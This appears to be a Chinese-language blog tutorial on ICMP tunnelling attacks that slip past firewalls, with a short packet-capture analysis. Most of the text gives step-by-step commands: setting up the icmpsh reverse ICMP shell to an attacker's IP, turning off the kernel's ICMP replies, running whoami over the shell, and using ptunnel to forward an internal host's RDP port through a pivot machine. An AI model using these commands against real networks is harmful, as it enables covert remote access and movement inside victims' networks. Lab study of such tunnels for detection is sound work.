ICMP一般用于检测网络的可通性,
所以一般在防火墙设备上都不会用策略去禁止它(ping),这也就使得了有很大的可能性去使用ICMP隧道进行相应的攻击,达到一种伪装.
而能达到这种攻击的原因是在CMP报文结构中,有数据部分是可控的,所以可以利用可控数据部分去构造相应的攻击语句.
下载地址:GitHub - k1132/icmpsh: Simple reverse ICMP shell[1]
py使用前需安装Impacket依赖库
git clone https://github.com/SecureAuthCorp/impacket.gitcd impacketsudo python setup.py instal
开启前需要先关闭攻击机的icmp应答,防止内核对自己的ping包响应
sysctl -w net.ipv4.icmp_echo_ignore_all
不关闭就会导致不稳定
执行代码如下:
icmpsh.exe -t 攻击机IP地址
python2 icmpsh_m.py 攻击者IP 受害者IP
通过抓取该网卡可以观察到都是ICMP报文的数据包
在反弹的shell执行whoami并在数据包中查看数据信息
最后, 通过报文分析可以知道ICMP隧道是将执行的代码封装在了ICMP报文中的数据中
下载地址:https://github.com/f1vefour/ptunnel 需自行编译
ptunnel参数含义:-p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器) -lp ##表示需要监听的本地 tcp 端口 -da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##设置连接的密码
进入解压后文件输入如下即可:
make install
开启前需要先关闭攻击机的icmp应答,防止内核对自己的ping包响应
sysctl -w net.ipv4.icmp_echo_ignore_all=1
环境模拟:
并赋予可执行权限
./ptunnel -x mrfan
./ptunnel -p 192.168.1.14 -lp 6666 -da 192.168.22.14 -dp 3389 -x mrfan -p ##表示连接 icmp 隧道另一端的机器 IP(即目标服务器) -lp ##表示需要监听的本地 tcp 端口 -da ##指定需要转发的机器的 IP(即目标内网某一机器的内网 IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##连接的密码
rdesktop 127.0.0.1:6666
通过在192.168.1.0/24网卡上进行抓包
可以抓到许多ICMP的数据包, 并是由192.168.1.11(攻击机)与192.168.1.14(跳板机)的请求应答包, 所以这也是通过ICMP的数据部分进行了相应的伪装所造成的攻击
[1]
GitHub - k1132/icmpsh: Simple reverse ICMP shell: https://github.com/k1132/icmpsh
很赞哦! (119)
下一篇:渗透工程师常用命令速查手册